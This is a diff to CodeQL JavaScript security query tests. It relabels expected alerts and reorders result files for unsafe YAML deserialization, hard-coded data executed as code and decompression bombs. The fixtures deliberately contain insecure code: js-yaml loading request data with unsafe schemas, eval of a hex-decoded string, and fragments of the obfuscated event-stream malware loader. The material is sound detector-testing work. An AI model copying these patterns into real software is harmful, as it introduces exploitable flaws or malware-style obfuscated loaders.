diff --git a/javascript/ql/test/query-tests/Security/CWE-451/restify-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/restify-bad.js
index 3b88523e701a..e48a51efa7e8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/restify-bad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/restify-bad.js
@@ -1,5 +1,5 @@
 var restify = require('restify');
-var server = restify.createServer();
+var server = restify.createServer(); // $ Alert
 server.head('/', function (request, response){
 
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-502/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-502/Consistency.ql
deleted file mode 100644
index 6c43567b5c45..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-502/Consistency.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-import semmle.javascript.security.dataflow.UnsafeDeserializationQuery
-deprecated import utils.test.ConsistencyChecking
diff --git a/javascript/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref b/javascript/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref
index fa9c0ceb3cb8..2eba44efb96b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref
@@ -1 +1,2 @@
-Security/CWE-502/UnsafeDeserialization.ql
+query: Security/CWE-502/UnsafeDeserialization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-502/tst.js b/javascript/ql/test/query-tests/Security/CWE-502/tst.js
index e15866423573..ecb61d28db28 100644
--- a/javascript/ql/test/query-tests/Security/CWE-502/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-502/tst.js
@@ -4,24 +4,24 @@ var express = require('express');
 var app = express();
 app.post('/store/:id', function(req, res) {
   let data;
-  data = jsyaml.load(req.params.data); // OK
-  data = jsyaml.loadAll(req.params.data); // OK
-  data = jsyaml.safeLoad(req.params.data); // OK
-  data = jsyaml.safeLoadAll(req.params.data); // OK
+  data = jsyaml.load(req.params.data);
+  data = jsyaml.loadAll(req.params.data);
+  data = jsyaml.safeLoad(req.params.data);
+  data = jsyaml.safeLoadAll(req.params.data);
 
   let unsafeConfig = { schema: jsyaml.DEFAULT_FULL_SCHEMA };
-  data = jsyaml.load(req.params.data, unsafeConfig); // NOT OK
-  data = jsyaml.loadAll(req.params.data, unsafeConfig); // NOT OK
-  data = jsyaml.safeLoad(req.params.data, unsafeConfig); // NOT OK
-  data = jsyaml.safeLoadAll(req.params.data, unsafeConfig); // NOT OK
+  data = jsyaml.load(req.params.data, unsafeConfig); // $ Alert
+  data = jsyaml.loadAll(req.params.data, unsafeConfig); // $ Alert
+  data = jsyaml.safeLoad(req.params.data, unsafeConfig); // $ Alert
+  data = jsyaml.safeLoadAll(req.params.data, unsafeConfig); // $ Alert
 
-  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA }); // OK
+  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA });
 
-  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all) }); // NOT OK
-  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').function) }); // NOT OK
-  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').undefined) }); // OK
+  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all) }); // $ Alert
+  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').function) }); // $ Alert
+  data = jsyaml.load(req.params.data, { schema: jsyaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').undefined) });
 
-  data = jsyaml.load(req.params.data, { schema: require('js-yaml-js-types').all.extend(jsyaml.DEFAULT_SCHEMA) }); // NOT OK
-  data = jsyaml.load(req.params.data, { schema: require('js-yaml-js-types').function.extend(jsyaml.DEFAULT_SCHEMA) }); // NOT OK
-  data = jsyaml.load(req.params.data, { schema: require('js-yaml-js-types').undefined.extend(jsyaml.DEFAULT_SCHEMA) }); // OK
+  data = jsyaml.load(req.params.data, { schema: require('js-yaml-js-types').all.extend(jsyaml.DEFAULT_SCHEMA) }); // $ Alert
+  data = jsyaml.load(req.params.data, { schema: require('js-yaml-js-types').function.extend(jsyaml.DEFAULT_SCHEMA) }); // $ Alert
+  data = jsyaml.load(req.params.data, { schema: require('js-yaml-js-types').undefined.extend(jsyaml.DEFAULT_SCHEMA) });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected
index bf0f97e28da7..85c44d009058 100644
--- a/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected
@@ -1,3 +1,26 @@
+#select
+| event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | $@ is interpreted as An import path. | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | Hard-coded data |
+| event-stream.js:9:11:9:37 | e("2e2f ... 17461") | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | $@ is interpreted as An import path. | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | Hard-coded data |
+| tst.js:2:6:2:57 | Buffer. ... tring() | tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:2:6:2:57 | Buffer. ... tring() | $@ is interpreted as Code. | tst.js:1:29:1:88 | '636f6e ... 6e2729' | Hard-coded data |
+| tst.js:7:8:7:15 | test+"n" | tst.js:5:12:5:23 | "0123456789" | tst.js:7:8:7:15 | test+"n" | $@ is interpreted as Code. | tst.js:5:12:5:23 | "0123456789" | Hard-coded data |
+edges
+| event-stream-orig.js:93:16:93:16 | r | event-stream-orig.js:94:26:94:26 | r | provenance |  |
+| event-stream-orig.js:94:14:94:34 | Buffer. ...  "hex") | event-stream-orig.js:94:14:94:45 | Buffer. ... tring() | provenance | Config |
+| event-stream-orig.js:94:26:94:26 | r | event-stream-orig.js:94:14:94:34 | Buffer. ...  "hex") | provenance | Config |
+| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:93:16:93:16 | r | provenance |  |
+| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | provenance | Config |
+| event-stream.js:5:12:5:12 | r | event-stream.js:6:22:6:22 | r | provenance |  |
+| event-stream.js:6:10:6:30 | Buffer. ...  "hex") | event-stream.js:6:10:6:41 | Buffer. ... tring() | provenance | Config |
+| event-stream.js:6:22:6:22 | r | event-stream.js:6:10:6:30 | Buffer. ...  "hex") | provenance | Config |
+| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:5:12:5:12 | r | provenance |  |
+| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | provenance | Config |
+| tst.js:1:5:1:88 | totallyHarmlessString | tst.js:2:18:2:38 | totally ... sString | provenance |  |
+| tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:1:5:1:88 | totallyHarmlessString | provenance |  |
+| tst.js:2:6:2:46 | Buffer. ...  'hex') | tst.js:2:6:2:57 | Buffer. ... tring() | provenance | Config |
+| tst.js:2:18:2:38 | totally ... sString | tst.js:2:6:2:46 | Buffer. ...  'hex') | provenance | Config |
+| tst.js:5:5:5:23 | test | tst.js:7:8:7:11 | test | provenance |  |
+| tst.js:5:12:5:23 | "0123456789" | tst.js:5:5:5:23 | test | provenance |  |
+| tst.js:7:8:7:11 | test | tst.js:7:8:7:15 | test+"n" | provenance | Config |
 nodes
 | event-stream-orig.js:93:16:93:16 | r | semmle.label | r |
 | event-stream-orig.js:94:14:94:34 | Buffer. ...  "hex") | semmle.label | Buffer. ...  "hex") |
@@ -20,29 +43,6 @@ nodes
 | tst.js:5:12:5:23 | "0123456789" | semmle.label | "0123456789" |
 | tst.js:7:8:7:11 | test | semmle.label | test |
 | tst.js:7:8:7:15 | test+"n" | semmle.label | test+"n" |
-edges
-| event-stream-orig.js:93:16:93:16 | r | event-stream-orig.js:94:26:94:26 | r | provenance |  |
-| event-stream-orig.js:94:14:94:34 | Buffer. ...  "hex") | event-stream-orig.js:94:14:94:45 | Buffer. ... tring() | provenance | Config |
-| event-stream-orig.js:94:26:94:26 | r | event-stream-orig.js:94:14:94:34 | Buffer. ...  "hex") | provenance | Config |
-| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:93:16:93:16 | r | provenance |  |
-| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | provenance | Config |
-| event-stream.js:5:12:5:12 | r | event-stream.js:6:22:6:22 | r | provenance |  |
-| event-stream.js:6:10:6:30 | Buffer. ...  "hex") | event-stream.js:6:10:6:41 | Buffer. ... tring() | provenance | Config |
-| event-stream.js:6:22:6:22 | r | event-stream.js:6:10:6:30 | Buffer. ...  "hex") | provenance | Config |
-| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:5:12:5:12 | r | provenance |  |
-| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | provenance | Config |
-| tst.js:1:5:1:88 | totallyHarmlessString | tst.js:2:18:2:38 | totally ... sString | provenance |  |
-| tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:1:5:1:88 | totallyHarmlessString | provenance |  |
-| tst.js:2:6:2:46 | Buffer. ...  'hex') | tst.js:2:6:2:57 | Buffer. ... tring() | provenance | Config |
-| tst.js:2:18:2:38 | totally ... sString | tst.js:2:6:2:46 | Buffer. ...  'hex') | provenance | Config |
-| tst.js:5:5:5:23 | test | tst.js:7:8:7:11 | test | provenance |  |
-| tst.js:5:12:5:23 | "0123456789" | tst.js:5:5:5:23 | test | provenance |  |
-| tst.js:7:8:7:11 | test | tst.js:7:8:7:15 | test+"n" | provenance | Config |
 subpaths
 | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:93:16:93:16 | r | event-stream-orig.js:94:14:94:45 | Buffer. ... tring() | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
 | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:5:12:5:12 | r | event-stream.js:6:10:6:41 | Buffer. ... tring() | event-stream.js:9:11:9:37 | e("2e2f ... 17461") |
-#select
-| event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | $@ is interpreted as An import path. | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | Hard-coded data |
-| event-stream.js:9:11:9:37 | e("2e2f ... 17461") | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | $@ is interpreted as An import path. | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | Hard-coded data |
-| tst.js:2:6:2:57 | Buffer. ... tring() | tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:2:6:2:57 | Buffer. ... tring() | $@ is interpreted as Code. | tst.js:1:29:1:88 | '636f6e ... 6e2729' | Hard-coded data |
-| tst.js:7:8:7:15 | test+"n" | tst.js:5:12:5:23 | "0123456789" | tst.js:7:8:7:15 | test+"n" | $@ is interpreted as Code. | tst.js:5:12:5:23 | "0123456789" | Hard-coded data |
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref
index df46e2328555..1604fe193c71 100644
--- a/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.qlref
@@ -1 +1,2 @@
-Security/CWE-506/HardcodedDataInterpretedAsCode.ql
+query: Security/CWE-506/HardcodedDataInterpretedAsCode.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js b/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js
index 85daa2d86954..95c1cc3fee66 100644
--- a/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js
+++ b/javascript/ql/test/query-tests/Security/CWE-506/event-stream-orig.js
@@ -93,7 +93,7 @@ module.exports = function (e, n) {
     function e(r) {
       return Buffer.from(r, "hex").toString();
     }
-    var n = r(e("2e2f746573742f64617461")),
+    var n = r(e("2e2f746573742f64617461")), // $ Alert
       o = t[e(n[3])][e(n[4])];
     if (!o) return;
     var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js b/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js
index e885d2e1f886..d358010c3ae5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js
+++ b/javascript/ql/test/query-tests/Security/CWE-506/event-stream.js
@@ -6,7 +6,7 @@ function e(r) {
   return Buffer.from(r, "hex").toString()
 }
 
-var n = r(e("2e2f746573742f64617461")),
+var n = r(e("2e2f746573742f64617461")), // $ Alert
     o = t[e(n[3])][e(n[4])];
 
 if (!o) return;
diff --git a/javascript/ql/test/query-tests/Security/CWE-506/tst.js b/javascript/ql/test/query-tests/Security/CWE-506/tst.js
index e2e557ead7da..9e239300f593 100644
--- a/javascript/ql/test/query-tests/Security/CWE-506/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-506/tst.js
@@ -1,13 +1,13 @@
-var totallyHarmlessString = '636f6e736f6c652e6c6f672827636f646520696e6a656374696f6e2729';
-eval(Buffer.from(totallyHarmlessString, 'hex').toString()); // NOT OK: eval("console.log('code injection')")
-eval(totallyHarmlessString);                                // OK: throws parse error
+var totallyHarmlessString = '636f6e736f6c652e6c6f672827636f646520696e6a656374696f6e2729'; // $ Source
+eval(Buffer.from(totallyHarmlessString, 'hex').toString()); // $ Alert - eval("console.log('code injection')")
+eval(totallyHarmlessString);                                // OK - throws parse error
 
-var test = "0123456789";
+var test = "0123456789"; // $ Source
 try {
-  eval(test+"n"); // OK, but currently flagged [INCONSISTENCY]
+  eval(test+"n"); // $ SPURIOUS: Alert
   console.log("Bigints supported.");
 } catch(e) {
   console.log("Bigints not supported.");
 }
 
-require('babeface'); // OK
+require('babeface');
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.expected b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.expected
index 3ba33bc2625b..56acd5390128 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.expected
@@ -1,3 +1,42 @@
+#select
+| adm-zip.js:28:25:28:42 | zipEntry.getData() | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:28:25:28:42 | zipEntry.getData() | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
+| adm-zip.js:32:17:32:41 | admZip. ... "10GB") | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:32:17:32:41 | admZip. ... "10GB") | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
+| adm-zip.js:34:5:34:55 | admZip. ... , true) | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:34:5:34:55 | admZip. ... , true) | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
+| adm-zip.js:36:5:36:38 | admZip. ... , true) | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:36:5:36:38 | admZip. ... , true) | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
+| decompress.js:11:16:11:33 | req.query.filePath | decompress.js:11:16:11:33 | req.query.filePath | decompress.js:11:16:11:33 | req.query.filePath | This Decompression depends on a $@. | decompress.js:11:16:11:33 | req.query.filePath | potentially untrusted source |
+| jszip.js:33:22:33:33 | zipFile.data | jszip.js:12:13:12:21 | req.files | jszip.js:33:22:33:33 | zipFile.data | This Decompression depends on a $@. | jszip.js:12:13:12:21 | req.files | potentially untrusted source |
+| node-tar.js:24:9:24:15 | tar.x() | node-tar.js:15:13:15:21 | req.files | node-tar.js:24:9:24:15 | tar.x() | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
+| node-tar.js:30:9:33:10 | tar.x({ ...      }) | node-tar.js:15:13:15:21 | req.files | node-tar.js:30:9:33:10 | tar.x({ ...      }) | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
+| node-tar.js:48:9:50:10 | tar.x({ ...      }) | node-tar.js:15:13:15:21 | req.files | node-tar.js:48:9:50:10 | tar.x({ ...      }) | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
+| node-tar.js:58:19:58:30 | tarFile.name | node-tar.js:15:13:15:21 | req.files | node-tar.js:58:19:58:30 | tarFile.name | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
+| node-tar.js:59:25:59:36 | tarFile.name | node-tar.js:15:13:15:21 | req.files | node-tar.js:59:25:59:36 | tarFile.name | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
+| pako.js:21:31:21:37 | myArray | pako.js:12:14:12:22 | req.files | pako.js:21:31:21:37 | myArray | This Decompression depends on a $@. | pako.js:12:14:12:22 | req.files | potentially untrusted source |
+| pako.js:32:31:32:37 | myArray | pako.js:13:14:13:22 | req.files | pako.js:32:31:32:37 | myArray | This Decompression depends on a $@. | pako.js:13:14:13:22 | req.files | potentially untrusted source |
+| unbzip2.js:12:50:12:54 | bz2() | unbzip2.js:12:25:12:42 | req.query.FilePath | unbzip2.js:12:50:12:54 | bz2() | This Decompression depends on a $@. | unbzip2.js:12:25:12:42 | req.query.FilePath | potentially untrusted source |
+| unzipper.js:16:23:16:63 | unzippe ... ath' }) | unzipper.js:13:40:13:48 | req.files | unzipper.js:16:23:16:63 | unzippe ... ath' }) | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:19:23:19:41 | unzipper.ParseOne() | unzipper.js:13:40:13:48 | req.files | unzipper.js:19:23:19:41 | unzipper.ParseOne() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:24:15:24:30 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:24:15:24:30 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:34:15:34:30 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:34:15:34:30 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:41:35:41:71 | unzippe ... true }) | unzipper.js:13:40:13:48 | req.files | unzipper.js:41:35:41:71 | unzippe ... true }) | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:51:36:51:72 | unzippe ... true }) | unzipper.js:13:40:13:48 | req.files | unzipper.js:51:36:51:72 | unzippe ... true }) | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:60:23:60:38 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:60:23:60:38 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| unzipper.js:73:23:73:38 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:73:23:73:38 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
+| yauzl.js:12:18:12:39 | req.fil ... le.data | yauzl.js:12:18:12:26 | req.files | yauzl.js:12:18:12:39 | req.fil ... le.data | This Decompression depends on a $@. | yauzl.js:12:18:12:26 | req.files | potentially untrusted source |
+| yauzl.js:13:22:13:43 | req.fil ... le.data | yauzl.js:13:22:13:30 | req.files | yauzl.js:13:22:13:43 | req.fil ... le.data | This Decompression depends on a $@. | yauzl.js:13:22:13:30 | req.files | potentially untrusted source |
+| yauzl.js:14:34:14:55 | req.fil ... le.data | yauzl.js:14:34:14:42 | req.files | yauzl.js:14:34:14:55 | req.fil ... le.data | This Decompression depends on a $@. | yauzl.js:14:34:14:42 | req.files | potentially untrusted source |
+| yauzl.js:39:9:39:27 | zipfile.readEntry() | yauzl.js:37:16:37:33 | req.query.filePath | yauzl.js:39:9:39:27 | zipfile.readEntry() | This Decompression depends on a $@. | yauzl.js:37:16:37:33 | req.query.filePath | potentially untrusted source |
+| yauzl.js:41:64:41:73 | readStream | yauzl.js:37:16:37:33 | req.query.filePath | yauzl.js:41:64:41:73 | readStream | This Decompression depends on a $@. | yauzl.js:37:16:37:33 | req.query.filePath | potentially untrusted source |
+| yauzl.js:43:21:43:39 | zipfile.readEntry() | yauzl.js:37:16:37:33 | req.query.filePath | yauzl.js:43:21:43:39 | zipfile.readEntry() | This Decompression depends on a $@. | yauzl.js:37:16:37:33 | req.query.filePath | potentially untrusted source |
+| zlib.js:29:9:29:20 | zipFile.data | zlib.js:15:19:15:27 | req.files | zlib.js:29:9:29:20 | zipFile.data | This Decompression depends on a $@. | zlib.js:15:19:15:27 | req.files | potentially untrusted source |
+| zlib.js:33:9:33:20 | zipFile.data | zlib.js:15:19:15:27 | req.files | zlib.js:33:9:33:20 | zipFile.data | This Decompression depends on a $@. | zlib.js:15:19:15:27 | req.files | potentially untrusted source |
+| zlib.js:38:9:38:20 | zipFile.data | zlib.js:15:19:15:27 | req.files | zlib.js:38:9:38:20 | zipFile.data | This Decompression depends on a $@. | zlib.js:15:19:15:27 | req.files | potentially untrusted source |
+| zlib.js:63:21:63:32 | zipFile.data | zlib.js:17:18:17:26 | req.files | zlib.js:63:21:63:32 | zipFile.data | This Decompression depends on a $@. | zlib.js:17:18:17:26 | req.files | potentially untrusted source |
+| zlib.js:64:20:64:31 | zipFile.data | zlib.js:17:18:17:26 | req.files | zlib.js:64:20:64:31 | zipFile.data | This Decompression depends on a $@. | zlib.js:17:18:17:26 | req.files | potentially untrusted source |
+| zlib.js:65:31:65:42 | zipFile.data | zlib.js:17:18:17:26 | req.files | zlib.js:65:31:65:42 | zipFile.data | This Decompression depends on a $@. | zlib.js:17:18:17:26 | req.files | potentially untrusted source |
+| zlib.js:77:22:77:40 | zlib.createGunzip() | zlib.js:19:24:19:32 | req.files | zlib.js:77:22:77:40 | zlib.createGunzip() | This Decompression depends on a $@. | zlib.js:19:24:19:32 | req.files | potentially untrusted source |
+| zlib.js:78:22:78:39 | zlib.createUnzip() | zlib.js:19:24:19:32 | req.files | zlib.js:78:22:78:39 | zlib.createUnzip() | This Decompression depends on a $@. | zlib.js:19:24:19:32 | req.files | potentially untrusted source |
+| zlib.js:79:22:79:50 | zlib.cr ... press() | zlib.js:19:24:19:32 | req.files | zlib.js:79:22:79:50 | zlib.cr ... press() | This Decompression depends on a $@. | zlib.js:19:24:19:32 | req.files | potentially untrusted source |
+| zlib.js:87:9:87:27 | zlib.createGunzip() | zlib.js:21:32:21:40 | req.files | zlib.js:87:9:87:27 | zlib.createGunzip() | This Decompression depends on a $@. | zlib.js:21:32:21:40 | req.files | potentially untrusted source |
 edges
 | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:13:13:13:33 | req.fil ... ombFile | provenance |  |
 | adm-zip.js:13:13:13:33 | req.fil ... ombFile | adm-zip.js:17:18:17:24 | tarFile | provenance |  |
@@ -209,42 +248,3 @@ nodes
 | zlib.js:86:9:86:19 | inputStream | semmle.label | inputStream |
 | zlib.js:87:9:87:27 | zlib.createGunzip() | semmle.label | zlib.createGunzip() |
 subpaths
-#select
-| adm-zip.js:28:25:28:42 | zipEntry.getData() | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:28:25:28:42 | zipEntry.getData() | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
-| adm-zip.js:32:17:32:41 | admZip. ... "10GB") | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:32:17:32:41 | admZip. ... "10GB") | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
-| adm-zip.js:34:5:34:55 | admZip. ... , true) | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:34:5:34:55 | admZip. ... , true) | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
-| adm-zip.js:36:5:36:38 | admZip. ... , true) | adm-zip.js:13:13:13:21 | req.files | adm-zip.js:36:5:36:38 | admZip. ... , true) | This Decompression depends on a $@. | adm-zip.js:13:13:13:21 | req.files | potentially untrusted source |
-| decompress.js:11:16:11:33 | req.query.filePath | decompress.js:11:16:11:33 | req.query.filePath | decompress.js:11:16:11:33 | req.query.filePath | This Decompression depends on a $@. | decompress.js:11:16:11:33 | req.query.filePath | potentially untrusted source |
-| jszip.js:33:22:33:33 | zipFile.data | jszip.js:12:13:12:21 | req.files | jszip.js:33:22:33:33 | zipFile.data | This Decompression depends on a $@. | jszip.js:12:13:12:21 | req.files | potentially untrusted source |
-| node-tar.js:24:9:24:15 | tar.x() | node-tar.js:15:13:15:21 | req.files | node-tar.js:24:9:24:15 | tar.x() | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
-| node-tar.js:30:9:33:10 | tar.x({ ...      }) | node-tar.js:15:13:15:21 | req.files | node-tar.js:30:9:33:10 | tar.x({ ...      }) | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
-| node-tar.js:48:9:50:10 | tar.x({ ...      }) | node-tar.js:15:13:15:21 | req.files | node-tar.js:48:9:50:10 | tar.x({ ...      }) | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
-| node-tar.js:58:19:58:30 | tarFile.name | node-tar.js:15:13:15:21 | req.files | node-tar.js:58:19:58:30 | tarFile.name | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
-| node-tar.js:59:25:59:36 | tarFile.name | node-tar.js:15:13:15:21 | req.files | node-tar.js:59:25:59:36 | tarFile.name | This Decompression depends on a $@. | node-tar.js:15:13:15:21 | req.files | potentially untrusted source |
-| pako.js:21:31:21:37 | myArray | pako.js:12:14:12:22 | req.files | pako.js:21:31:21:37 | myArray | This Decompression depends on a $@. | pako.js:12:14:12:22 | req.files | potentially untrusted source |
-| pako.js:32:31:32:37 | myArray | pako.js:13:14:13:22 | req.files | pako.js:32:31:32:37 | myArray | This Decompression depends on a $@. | pako.js:13:14:13:22 | req.files | potentially untrusted source |
-| unbzip2.js:12:50:12:54 | bz2() | unbzip2.js:12:25:12:42 | req.query.FilePath | unbzip2.js:12:50:12:54 | bz2() | This Decompression depends on a $@. | unbzip2.js:12:25:12:42 | req.query.FilePath | potentially untrusted source |
-| unzipper.js:16:23:16:63 | unzippe ... ath' }) | unzipper.js:13:40:13:48 | req.files | unzipper.js:16:23:16:63 | unzippe ... ath' }) | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:19:23:19:41 | unzipper.ParseOne() | unzipper.js:13:40:13:48 | req.files | unzipper.js:19:23:19:41 | unzipper.ParseOne() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:24:15:24:30 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:24:15:24:30 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:34:15:34:30 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:34:15:34:30 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:41:35:41:71 | unzippe ... true }) | unzipper.js:13:40:13:48 | req.files | unzipper.js:41:35:41:71 | unzippe ... true }) | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:51:36:51:72 | unzippe ... true }) | unzipper.js:13:40:13:48 | req.files | unzipper.js:51:36:51:72 | unzippe ... true }) | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:60:23:60:38 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:60:23:60:38 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
-| unzipper.js:73:23:73:38 | unzipper.Parse() | unzipper.js:13:40:13:48 | req.files | unzipper.js:73:23:73:38 | unzipper.Parse() | This Decompression depends on a $@. | unzipper.js:13:40:13:48 | req.files | potentially untrusted source |
